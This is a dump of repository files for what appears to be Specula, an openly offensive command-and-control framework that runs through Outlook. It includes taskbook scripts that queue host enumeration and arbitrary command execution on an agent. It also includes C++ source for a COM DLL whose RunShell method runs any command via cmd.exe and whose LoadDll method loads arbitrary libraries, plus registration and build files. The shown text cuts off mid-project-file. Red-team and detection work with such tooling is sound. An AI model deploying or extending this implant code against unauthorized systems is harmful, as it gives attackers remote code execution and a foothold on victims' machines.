[
  {
    "path": ".gitignore",
    "content": "*.db\r\nconfigoptions.py\r\nspecConfig.ini\r\nDefaultBlacklist.txt\r\n.vscode/\r\nspecula_log.txt\r\nweblog.log\r\noperator_log.txt\r\nagent_data/\r\npayloadhosting/\r\nvenv/\r\n*.pyc\r\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributions\nIf you are considering contributing to our repository, first thank you for doing so! </br>\n\nContributions from community members are more than welcome, there are a few items that you should be aware of for a smooth process </br>\n\nAt this time we will not be accepting new functional changes to the provided COM object.  If you find an error in the \nexisting code we will accept a pull to fix that within the COM object.\n\n## Technique Expectations\n* Capabilities should run without causing outlook.exe to lock up.\n* Capabilities should acount for errors that may occur and handle them\n\n## Code Expectations\n* python code should be coded to work from version 3.9 to 3.11\n* Any additions to helperFunctions should be well-formed and usable from other vbs scripts\n* Removal of intentionally placed IOC's will be rejected\n* Again any updates to code under api/* should be error correcting in nature only, not feature additions.\n\n## What to expect as a contributor\nAfter your contribution is received, it will receive an in-depth code review and testing.  </br>\nAfter testing is completed, we will have zero or more rounds of change requests based on findings until there are no issues in the code.  At that point it will be accepted into the repository, and your github username will be added to our credit list (if you would prefer not to be added or some other handle to be used, just let me know)\n"
  },
  {
    "path": "README.md",
    "content": "Getting started info and information for developing your own modules is available on the [wiki](https://github.com/trustedsec/specula/wiki)\n"
  },
  {
    "path": "Taskbooks/enum_installed_software.py",
    "content": "def TaskBook(helpers, agent):\n    mod = helpers.get_module('operation/file/list_dir')\n    helpers.setModOption(mod, 'directory', optval=\"c:\\Program Files\")\n    helpers.setModOption(mod, 'recurselevels', optval=\"0\")\n    helpers.setModOption(mod, 'depth', optval=\"0\")\n    helpers.setModOption(mod, 'filetype', optval=\"*\")\n    helpers.setModOption(mod, 'filename', optval=\"*\")\n    helpers.setModOption(mod, 'nodirectories', optval=\"False\")\n    helpers.setModOption(mod, 'sizeformat', optval=\"mb\")\n    helpers.setModOption(mod, 'nofiles', optval=\"True\")\n    helpers.setModOption(mod, 'output_console', optval=\"False\")\n    helpers.insertTask(agent, mod, 'operation/file/list_dir')\n\n    mod = helpers.get_module('operation/file/list_dir')\n    helpers.setModOption(mod, 'directory', optval=\"c:\\Program Files (x86)\")\n    helpers.setModOption(mod, 'recurselevels', optval=\"0\")\n    helpers.setModOption(mod, 'depth', optval=\"0\")\n    helpers.setModOption(mod, 'filetype', optval=\"*\")\n    helpers.setModOption(mod, 'filename', optval=\"*\")\n    helpers.setModOption(mod, 'nodirectories', optval=\"False\")\n    helpers.setModOption(mod, 'sizeformat', optval=\"mb\")\n    helpers.setModOption(mod, 'nofiles', optval=\"True\")\n    helpers.setModOption(mod, 'output_console', optval=\"False\")\n    helpers.insertTask(agent, mod, 'operation/file/list_dir')\n    \n    mod = helpers.get_module('enumerate/host/list_installedapps')\n    helpers.insertTask(agent, mod, 'enumerate/host/list_installedapps')"
  },
  {
    "path": "Taskbooks/example.py",
    "content": "def TaskBook(helpers, agent):\n    mod = helpers.get_module('enumerate/host/list_applocker') # this doesn't take arguments, so we aren't giving it any\n    helpers.insertTask(agent, mod, 'enumerate/host/list_applocker')\n    mod = helpers.get_module('execute/host/cmd') # this does take an argument so we need to populate it\n    helpers.setModOption(mod, 'command', prompt=\"What command would you like to run: \")\n    helpers.insertTask(agent, mod, 'execute/host/cmd')\n    #we don't have to prompt for the input though\n    mod = helpers.get_module('operation/file/listdir')\n    helpers.setModOption(mod, 'strpath', optval=\"C:\\Windows\")\n    helpers.insertTask(agent, mod, 'operation/file/listdir')\n\n\n\n"
  },
  {
    "path": "api/README.md",
    "content": "# SpeculaApi"
  },
  {
    "path": "api/SpeculaApi/Sepcula.cpp",
    "content": "// Sepcula.cpp : Implementation of CSepcula\r\n\r\n#include \"pch.h\"\r\n#include \"Sepcula.h\"\r\n\r\n#define BUFFERSIZE 4096\r\n// CSepcula\r\n\r\nSTDMETHODIMP_(HRESULT __stdcall) CSepcula::RunShell(BSTR cmd, VARIANT timeout, BSTR * result)\r\n{\r\n\tCComBSTR errmsg{ L\"Failed to run shell command\" };\r\n\tHRESULT hret = S_OK;\r\n\tchar outputbuffer[BUFFERSIZE];\r\n\tCComBSTR totaloutput{};\r\n\tDWORD availBytes = 0;\r\n\tSECURITY_ATTRIBUTES saAttr;\r\n\tsaAttr.nLength = sizeof(SECURITY_ATTRIBUTES);\r\n\tsaAttr.bInheritHandle = TRUE;\r\n\tsaAttr.lpSecurityDescriptor = NULL;\r\n\r\n\tHANDLE hChildStd_OUT_Rd = NULL;\r\n\tHANDLE hChildStd_OUT_Wr = NULL;\r\n\r\n\t// Create a pipe for the child process's STDOUT.\r\n\tif (!CreatePipe(&hChildStd_OUT_Rd, &hChildStd_OUT_Wr, &saAttr, 0))\r\n\t{\r\n\t\thret = HRESULT_FROM_WIN32(GetLastError());\r\n\t\terrmsg.CopyTo(result);\r\n\t\treturn hret;\r\n\t}\r\n\t// Ensure the read handle to the pipe for STDOUT is not inherited.\r\n\tif (!SetHandleInformation(hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))\r\n\t{\r\n\t\tCloseHandle(hChildStd_OUT_Rd);\r\n\t\tCloseHandle(hChildStd_OUT_Wr);\r\n\t\thret = HRESULT_FROM_WIN32(GetLastError());\r\n\t\terrmsg.CopyTo(result);\r\n\t\treturn hret;\r\n\t}\r\n\tSTARTUPINFO siStartInfo;\r\n\tZeroMemory(&siStartInfo, sizeof(STARTUPINFO));\r\n\tsiStartInfo.cb = sizeof(STARTUPINFO);\r\n\tsiStartInfo.hStdError = hChildStd_OUT_Wr;\r\n\tsiStartInfo.hStdOutput = hChildStd_OUT_Wr;\r\n\tsiStartInfo.dwFlags |= STARTF_USESTDHANDLES;\r\n\r\n\tPROCESS_INFORMATION piProcInfo;\r\n\tZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));\r\n\tCComBSTR fullcmd{ CmdProg };\r\n\tfullcmd.Append(cmd);\r\n\t// Create the child process.\r\n\tif (!CreateProcessW(NULL,\r\n\t\tfullcmd,     // command line \r\n\t\tNULL,                    // process security attributes \r\n\t\tNULL,                    // primary thread security attributes \r\n\t\tTRUE,                    // handles are inherited \r\n\t\t0,                       // creation flags \r\n\t\tNULL,                    // use parent's environment \r\n\t\tNULL,                    // use parent's current directory \r\n\t\t&siStartInfo,            // STARTUPINFO pointer \r\n\t\t&piProcInfo))            // receives PROCESS_INFORMATION \r\n\t{\r\n\t\thret = HRESULT_FROM_WIN32(GetLastError());\r\n\t\terrmsg.CopyTo(result);\r\n\t\tCloseHandle(hChildStd_OUT_Rd);\r\n\t\tCloseHandle(hChildStd_OUT_Wr);\r\n\t\treturn hret;\r\n\t}\r\n\tDWORD iterations = (timeout.vt == VT_I4) ? timeout.iVal : 60;\r\n\twhile (WaitForSingleObject(piProcInfo.hProcess, 1000) == WAIT_TIMEOUT && iterations)\r\n\t{\r\n\t\tavailBytes = 0;\r\n\t\tPeekNamedPipe(hChildStd_OUT_Rd, NULL, 0, NULL, &availBytes, NULL);\r\n\t\twhile (availBytes)\r\n\t\t{\r\n\t\t\tZeroMemory(outputbuffer, sizeof(outputbuffer));\r\n\t\t\tDWORD thisread = (availBytes >= BUFFERSIZE) ? BUFFERSIZE : availBytes;\r\n\t\t\tDWORD read = 0;\r\n\t\t\tReadFile(hChildStd_OUT_Rd, (char*)outputbuffer, BUFFERSIZE, &read, NULL);\r\n\t\t\ttotaloutput.Append(outputbuffer);\r\n\t\t\tavailBytes -= read;\r\n\t\t}\r\n\t\titerations--;\r\n\t}\r\n\tif (iterations == 0)\r\n\t{\r\n\t\ttotaloutput.Append(L\"\\n\\nProcess wait timed out\");\r\n\t}\r\n\telse\r\n\t{\r\n\t\tavailBytes = 0;\r\n\t\tPeekNamedPipe(hChildStd_OUT_Rd, NULL, 0, NULL, &availBytes, NULL);\r\n\t\twhile (availBytes)\r\n\t\t{\r\n\t\t\tZeroMemory(outputbuffer, sizeof(outputbuffer));\r\n\t\t\tDWORD thisread = (availBytes >= BUFFERSIZE) ? BUFFERSIZE : availBytes;\r\n\t\t\tDWORD read = 0;\r\n\t\t\tReadFile(hChildStd_OUT_Rd, (char*)outputbuffer, BUFFERSIZE, &read, NULL);\r\n\t\t\ttotaloutput.Append(outputbuffer);\r\n\t\t\tavailBytes -= read;\r\n\t\t}\r\n\t}\r\n\r\n\r\n\ttotaloutput.CopyTo(result);\r\n\tCloseHandle(hChildStd_OUT_Rd);\r\n\tCloseHandle(hChildStd_OUT_Wr);\r\n\treturn hret;\r\n}\r\n\r\nSTDMETHODIMP_(HRESULT __stdcall) CSepcula::LoadDll(BSTR path, boolean persist, boolean* status)\r\n{\r\n\tHMODULE mod = LoadLibraryW(path);\r\n\t*status = false;\r\n\tif (mod == nullptr)\r\n\t{\r\n\r\n\t\treturn HRESULT_FROM_WIN32(GetLastError());\r\n\t}\r\n\tif (!persist)\r\n\t{\r\n\t\tFreeLibrary(mod);\r\n\t}\r\n\t*status = true;\r\n\treturn S_OK;\r\n}\r\n"
  },
  {
    "path": "api/SpeculaApi/Sepcula.h",
    "content": "// Sepcula.h : Declaration of the CSepcula\r\n\r\n#pragma once\r\n#include \"resource.h\"       // main symbols\r\n\r\n\r\n\r\n#include \"SpeculaApi_i.h\"\r\n\r\n\r\n\r\nusing namespace ATL;\r\n\r\n\r\n// CSepcula\r\n\r\nclass ATL_NO_VTABLE CSepcula :\r\n\tpublic CComObjectRootEx<CComMultiThreadModel>,\r\n\tpublic CComCoClass<CSepcula, &CLSID_Sepcula>,\r\n\tpublic IDispatchImpl<ISepcula, &IID_ISepcula, &LIBID_SpeculaApiLib, /*wMajor =*/ 1, /*wMinor =*/ 0>\r\n{\r\npublic:\r\n\tCSepcula()\r\n\t{\r\n\t}\r\n\r\nDECLARE_REGISTRY_RESOURCEID(IDR_SEPCULA)\r\n\r\n\r\nBEGIN_COM_MAP(CSepcula)\r\n\tCOM_INTERFACE_ENTRY(ISepcula)\r\n\tCOM_INTERFACE_ENTRY(IDispatch)\r\nEND_COM_MAP()\r\n\r\n\r\n\r\n\tDECLARE_PROTECT_FINAL_CONSTRUCT()\r\n\r\n\tHRESULT FinalConstruct()\r\n\t{\r\n\t\treturn S_OK;\r\n\t}\r\n\r\n\tvoid FinalRelease()\r\n\t{\r\n\t}\r\n\r\npublic:\r\n\tSTDMETHOD(RunShell)(BSTR cmd, VARIANT timeout, BSTR * result);\r\n\tSTDMETHOD(LoadDll)(BSTR path, boolean persist,  boolean* status);\r\n\r\n\r\nprivate:\r\n\tCComBSTR CmdProg{L\"C:\\\\Windows\\\\system32\\\\cmd.exe /c \"};\r\n\r\n\r\n\r\n};\r\n\r\nOBJECT_ENTRY_AUTO(__uuidof(Sepcula), CSepcula)\r\n"
  },
  {
    "path": "api/SpeculaApi/Sepcula.rgs",
    "content": "HKCR\r\n{\r\n\tSpeculaApi.Specula.1 = s 'Specula class'\r\n\t{\r\n\t\tCLSID = s '{e8b55279-c6b4-48f3-8138-b727337c0236}'\r\n\t}\r\n\tSpeculaApi.Specula = s 'Specula class'\r\n\t{\t\t\r\n\t\tCurVer = s 'SpeculaApi.Specula.1'\r\n\t}\r\n\tNoRemove CLSID\r\n\t{\r\n\t\tForceRemove {e8b55279-c6b4-48f3-8138-b727337c0236} = s 'Specula class'\r\n\t\t{\r\n\t\t\tProgID = s 'SpeculaApi.Specula.1'\r\n\t\t\tVersionIndependentProgID = s 'SpeculaApi.Specula'\r\n\t\t\tForceRemove Programmable\r\n\t\t\tInprocServer32 = s '%MODULE%'\r\n\t\t\t{\r\n\t\t\t\tval ThreadingModel = s 'Free'\r\n\t\t\t}\r\n\t\t\tTypeLib = s '{5be8ef76-6253-482a-926e-d1d877de3b63}'\r\n\t\t\tVersion = s '1.0'\r\n\t\t}\r\n\t}\r\n}\r\n"
  },
  {
    "path": "api/SpeculaApi/SpeculaApi.cpp",
    "content": "// SpeculaApi.cpp : Implementation of DLL Exports.\r\n\r\n\r\n#include \"pch.h\"\r\n#include \"framework.h\"\r\n#include \"resource.h\"\r\n#include \"SpeculaApi_i.h\"\r\n#include \"dllmain.h\"\r\n\r\n\r\nusing namespace ATL;\r\n\r\n// Used to determine whether the DLL can be unloaded by OLE.\r\n_Use_decl_annotations_\r\nSTDAPI DllCanUnloadNow(void)\r\n{\r\n\treturn _AtlModule.DllCanUnloadNow();\r\n}\r\n\r\n// Returns a class factory to create an object of the requested type.\r\n_Use_decl_annotations_\r\nSTDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID* ppv)\r\n{\r\n\treturn _AtlModule.DllGetClassObject(rclsid, riid, ppv);\r\n}\r\n\r\n// DllRegisterServer - Adds entries to the system registry.\r\n_Use_decl_annotations_\r\nSTDAPI DllRegisterServer(void)\r\n{\r\n\t// registers object, typelib and all interfaces in typelib\r\n\tHRESULT hr = _AtlModule.DllRegisterServer();\r\n\treturn hr;\r\n}\r\n\r\n// DllUnregisterServer - Removes entries from the system registry.\r\n_Use_decl_annotations_\r\nSTDAPI DllUnregisterServer(void)\r\n{\r\n\tHRESULT hr = _AtlModule.DllUnregisterServer();\r\n\treturn hr;\r\n}\r\n\r\n// DllInstall - Adds/Removes entries to the system registry per user per machine.\r\nSTDAPI DllInstall(BOOL bInstall, _In_opt_  LPCWSTR pszCmdLine)\r\n{\r\n\tHRESULT hr = E_FAIL;\r\n\tstatic const wchar_t szUserSwitch[] = L\"user\";\r\n\r\n\tif (pszCmdLine != nullptr)\r\n\t{\r\n\t\tif (_wcsnicmp(pszCmdLine, szUserSwitch, _countof(szUserSwitch)) == 0)\r\n\t\t{\r\n\t\t\tATL::AtlSetPerUserRegistration(true);\r\n\t\t}\r\n\t}\r\n\r\n\tif (bInstall)\r\n\t{\r\n\t\thr = DllRegisterServer();\r\n\t\tif (FAILED(hr))\r\n\t\t{\r\n\t\t\tDllUnregisterServer();\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\thr = DllUnregisterServer();\r\n\t}\r\n\r\n\treturn hr;\r\n}\r\n\r\n\r\n"
  },
  {
    "path": "api/SpeculaApi/SpeculaApi.def",
    "content": "; SpeculaApi.def : Declares the module parameters.\r\n\r\nLIBRARY\r\n\r\nEXPORTS\r\n\tDllCanUnloadNow\t\tPRIVATE\r\n\tDllGetClassObject\tPRIVATE\r\n\tDllRegisterServer\tPRIVATE\r\n\tDllUnregisterServer\tPRIVATE\r\n\tDllInstall\t\tPRIVATE\r\n"
  },
  {
    "path": "api/SpeculaApi/SpeculaApi.idl",
    "content": "// SpeculaApi.idl : IDL source for SpeculaApi\r\n//\r\n\r\n// This file will be processed by the MIDL tool to\r\n// produce the type library (SpeculaApi.tlb) and marshalling code.\r\n\r\nimport \"oaidl.idl\";\r\nimport \"ocidl.idl\";\r\n\r\n[\r\n\tobject,\r\n\tuuid(b0f5f947-8064-48f7-a623-5c058dc91cc8),\r\n\tdual,\r\n\tnonextensible,\r\n\tpointer_default(unique)\r\n]\r\ninterface ISepcula : IDispatch\r\n{\r\n\t[id(1)] HRESULT RunShell([in] BSTR cmd, [in, optional] VARIANT timeout, [out, retval] BSTR* result);\r\n\t[id(2)] HRESULT LoadDll([in] BSTR path, [in] boolean persist, [out, retval] boolean* status);\r\n};\r\n[\r\n\tuuid(5be8ef76-6253-482a-926e-d1d877de3b63),\r\n\tversion(1.0),\r\n]\r\nlibrary SpeculaApiLib\r\n{\r\n\timportlib(\"stdole2.tlb\");\r\n\t[\r\n\t\tuuid(e8b55279-c6b4-48f3-8138-b727337c0236)\r\n\t]\r\n\tcoclass Sepcula\r\n\t{\r\n\t\t[default] interface ISepcula;\r\n\t};\r\n};\r\n\r\nimport \"shobjidl.idl\";\r\n"
  },
  {
    "path": "api/SpeculaApi/SpeculaApi.rgs",
    "content": "HKCR\r\n{\r\n}\r\n"
  },
  {
    "path": "api/SpeculaApi/SpeculaApi.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Debug|x64\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|x64\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <VCProjectVersion>17.0</VCProjectVersion>\r\n    <ProjectGuid>{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}</ProjectGuid>\r\n    <Keyword>AtlProj</Keyword>\r\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"Shared\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <IgnoreImportLibrary>true</IgnoreImportLibrary>\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <IgnoreImportLibrary>true</IgnoreImportLibrary>\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <IgnoreImportLibrary>true</IgnoreImportLibrary>\r\n    <LinkIncremental>false</LinkIncremental>\r\n    <OutDir>$(SolutionDir)bin\\</OutDir>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <IgnoreImportLibrary>true</IgnoreImportLibrary>\r\n    <LinkIncremental>false</LinkIncremental>\r\n    <OutDir>$(SolutionDir)bin\\</OutDir>\r\n    <TargetName>$(ProjectName).x64</TargetName>\r\n  </PropertyGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>_WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Midl>\r\n      <MkTypLibCompatible>false</MkTypLibCompatible>\r\n      <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <HeaderFileName>SpeculaApi_i.h</HeaderFileName>\r\n      <InterfaceIdentifierFileName>SpeculaApi_i.c</InterfaceIdentifierFileName>\r\n      <ProxyFileName>SpeculaApi_p.c</ProxyFileName>\r\n      <GenerateStublessProxies>true</GenerateStublessProxies>\r\n      <TypeLibraryName>$(IntDir)SpeculaApi.tlb</TypeLibraryName>\r\n      <DllDataFileName />\r\n      <ValidateAllParameters>true</ValidateAllParameters>\r\n    </Midl>\r\n    <ResourceCompile>\r\n      <Culture>0x0409</Culture>\r\n      <AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\r\n      <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n    </ResourceCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <ModuleDefinitionFile>.\\SpeculaApi.def</ModuleDefinitionFile>\r\n      <RegisterOutput>true</RegisterOutput>\r\n      <PerUserRedirection>true</PerUserRedirection>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Midl>\r\n      <MkTypLibCompatible>false</MkTypLibCompatible>\r\n      <TargetEnvironment>Win32</TargetEnvironment>\r\n      <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <HeaderFileName>SpeculaApi_i.h</HeaderFileName>\r\n      <InterfaceIdentifierFileName>SpeculaApi_i.c</InterfaceIdentifierFileName>\r\n      <ProxyFileName>SpeculaApi_p.c</ProxyFileName>\r\n      <GenerateStublessProxies>true</GenerateStublessProxies>\r\n      <TypeLibraryName>$(IntDir)SpeculaApi.tlb</TypeLibraryName>\r\n      <DllDataFileName />\r\n      <ValidateAllParameters>true</ValidateAllParameters>\r\n    </Midl>\r\n    <ResourceCompile>\r\n      <Culture>0x0409</Culture>\r\n      <AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\r\n      <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n    </ResourceCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <ModuleDefinitionFile>.\\SpeculaApi.def</ModuleDefinitionFile>\r\n      <RegisterOutput>true</RegisterOutput>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>MaxSpeed</Optimization>\r\n      <PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\r\n      <SDLCheck>true</SDLCheck>\r\n      <DebugInformationFormat>None</DebugInformationFormat>\r\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Midl>\r\n      <MkTypLibCompatible>false</MkTypLibCompatible>\r\n      <TargetEnvironment>Win32</TargetEnvironment>\r\n      <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <HeaderFileName>SpeculaApi_i.h</HeaderFileName>\r\n      <InterfaceIdentifierFileName>SpeculaApi_i.c</InterfaceIdentifierFileName>\r\n      <ProxyFileName>SpeculaApi_p.c</ProxyFileName>\r\n      <GenerateStublessProxies>true</GenerateStublessProxies>\r\n      <TypeLibraryName>$(IntDir)SpeculaApi.tlb</TypeLibraryName>\r\n      <DllDataFileName />\r\n      <ValidateAllParameters>true</ValidateAllParameters>\r\n    </Midl>\r\n    <ResourceCompile>\r\n      <Culture>0x0409</Culture>\r\n      <AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\r\n      <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n    </ResourceCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <ModuleDefinitionFile>.\\SpeculaApi.def</ModuleDefinitionFile>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <RegisterOutput>true</RegisterOutput>\r\n      <PerUserRedirection>true</PerUserRedirection>\r\n      <GenerateDebugInformation>false</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>MaxSpeed</Optimization>\r\n      <PreprocessorDefinitions>_WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\r\n      <SDLCheck>true</SDLCheck>\r\n      <DebugInformationFormat>None</DebugInformationFormat>\r\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Midl>\r\n      <MkTypLibCompatible>false</MkTypLibCompatible>\r\n      <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <HeaderFileName>SpeculaApi_i.h</HeaderFileName>\r\n      <InterfaceIdentifierFileName>SpeculaApi_i.c</InterfaceIdentifierFileName>\r\n      <ProxyFileName>SpeculaApi_p.c</ProxyFileName>\r\n      <GenerateStublessProxies>true</GenerateStublessProxies>\r\n      <TypeLibraryName>$(IntDir)SpeculaApi.tlb</TypeLibraryName>\r\n      <DllDataFileName />\r\n      <ValidateAllParameters>true</ValidateAllParameters>\r\n    </Midl>\r\n    <ResourceCompile>\r\n      <Culture>0x0409</Culture>\r\n      <AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\r\n      <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n    </ResourceCompile>\r\n    <Link>\r\n      <SubSystem>Windows</SubSystem>\r\n      <ModuleDefinitionFile>.\\SpeculaApi.def</ModuleDefinitionFile>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <RegisterOutput>true</RegisterOutput>\r\n      <PerUserRedirection>true</PerUserRedirection>\r\n      <GenerateDebugInformation>false</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"dllmain.h\" />\r\n    <ClInclude Include=\"framework.h\" />\r\n    <ClInclude Include=\"pch.h\" />\r\n    <ClInclude Include=\"Resource.h\" />\r\n    <ClInclude Include=\"Sepcula.h\" />\r\n    